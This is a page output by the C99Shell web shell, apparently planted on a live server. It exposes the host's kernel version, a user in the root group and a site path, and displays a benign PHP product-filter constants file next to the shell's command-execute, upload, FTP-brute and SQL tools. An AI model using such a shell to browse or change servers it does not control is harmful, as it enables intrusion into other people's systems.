!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/app/Constants/   drwxr-xr-x
Free 26.03 GB of 117.98 GB (22.07%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Product.php (8.46 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * @package Product
 * @author TechVillage <support@techvill.org>
 * @contributor Md Abdur Rahaman Zihad <[zihad.techvill@gmail.com]>
 * @created 30-10-2022
 */

namespace App\Constants;

use 
App\Lib\MiniCollection;

class  
Product
{

    
/**
     * Product queryable data in collection
     *
     * @return MiniCollection
     */
    
public static function queryCollection()
    {
        return new 
MiniCollection(self::queryArray(), true);
    }


    
/**
     * Product queryable data array
     * 
     * @return array
     */
    
public static function queryArray()
    {
        return
            [
                
"query" => [
                    
"brand" => [
                        
"name" => __("Brand"),
                        
"operations" => [
                            
"in" => [
                                
"name" => __("IS"),
                                
"value" => "in",
                                
"input" => [
                                    
"type" => "select",
                                    
"placeholder" => __("Select Brands"),
                                    
"class" => "brand",
                                    
"ajax" => true,
                                    
"multiple" => "multiple",
                                ],
                            ],
                            
"notIn" => [
                                
"name" => __("NOT"),
                                
"value" => "notIn",
                                
"input" => [
                                    
"type" => "select",
                                    
"placeholder" => __("Select Brand"),
                                    
"class" => "brand",
                                    
"ajax" => true,
                                    
"multiple" => "multiple",
                                ],
                            ],
                        ],
                    ],
                    
"category" => [
                        
"name" => "Category",
                        
"operations" => [
                            
"in" => [
                                
"name" => __("IS"),
                                
"value" => "in",
                                
"input" => [
                                    
"type" => "select",
                                    
"placeholder" => __("Select Categories"),
                                    
"class" => "category",
                                    
"ajax" => true,
                                    
"multiple" => "multiple",
                                ],
                            ],
                            
"notIn" => [
                                
"name" => __("NOT"),
                                
"value" => "notIn",
                                
"input" => [
                                    
"type" => "select",
                                    
"placeholder" => __("Select Categories"),
                                    
"class" => "category",
                                    
"ajax" => true,
                                    
"multiple" => "multiple",
                                ],
                            ],
                        ],
                    ],
                    
"tag" => [
                        
"name" => "Tag",
                        
"operations" => [
                            
"in" => [
                                
"name" => __("IS"),
                                
"value" => "in",
                                
"input" => [
                                    
"type" => "select",
                                    
"placeholder" => __("Select Tags"),
                                    
"class" => "tags",
                                    
"ajax" => true,
                                    
"multiple" => "multiple",
                                ],
                            ],
                            
"notIn" => [
                                
"name" => __("NOT"),
                                
"value" => "notIn",
                                
"input" => [
                                    
"type" => "select",
                                    
"placeholder" => __("Select Tags"),
                                    
"class" => "tag",
                                    
"ajax" => true,
                                    
"multiple" => "multiple",
                                ],
                            ],
                        ],
                    ],
                    
"vendor" => [
                        
"name" => __("Vendor"),
                        
"operations" => [
                            
"in" => [
                                
"name" => __("IS"),
                                
"value" => "in",
                                
"input" => [
                                    
"type" => "select",
                                    
"placeholder" => __("Select Vendor"),
                                    
"class" => "brand",
                                    
"ajax" => true,
                                    
"multiple" => "multiple",
                                ],
                            ],
                            
"notIn" => [
                                
"name" => __("NOT"),
                                
"value" => "notIn",
                                
"input" => [
                                    
"type" => "select",
                                    
"placeholder" => __("Select Vendor"),
                                    
"class" => "brand",
                                    
"ajax" => true,
                                    
"multiple" => "multiple",
                                ],
                            ],
                        ],
                    ],
                    
"featured" => [
                        
"name" => __("Featured"),
                        
"operations" => [
                            
"is" => [
                                
"name" => __("IS"),
                                
"value" => "is",
                                
"input" => [
                                    
"type" => "select",
                                    
"placeholder" => __("Featured"),
                                    
"class" => "featured",
                                    
"ajax" => false,
                                    
"multiple" => "false",
                                    
"options" => ["0" => __("False"), "1" => __("True")],
                                ],
                            ],
                        ],
                    ],
                    
"createdAt" => [
                        
"name" => "Created At",
                        
"operations" => [
                            
"greaterThanEqual" => [
                                
"name" => ">=",
                                
"value" => "greaterThanEqual",
                                
"input" => [
                                    
"type" => "date",
                                    
"placeholder" => __("Select Date"),
                                    
"class" => "createdAt",
                                ],
                            ],
                            
"lessThanEqual" => [
                                
"name" => "<=",
                                
"value" => "lessThanEqual",
                                
"input" => [
                                    
"type" => "date",
                                    
"placeholder" => __("Select Date"),
                                    
"class" => "createdAt",
                                ],
                            ],
                            
"equal" => [
                                
"name" => "==",
                                
"value" => "equal",
                                
"input" => [
                                    
"type" => "date",
                                    
"placeholder" => __("Select Date"),
                                    
"class" => "createdAt",
                                ],
                            ],
                        ],
                    ],
                ],
                
"order" => [
                    
"name" => ["name" => __("Product Title")],
                    
"price" => ["name" => __("Product Price")],
                    
"createdAt" => ["name" => __("Created At")],
                    
"featured" => ["name" => __("Featured Date")],
                ]
            ];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0048 ]--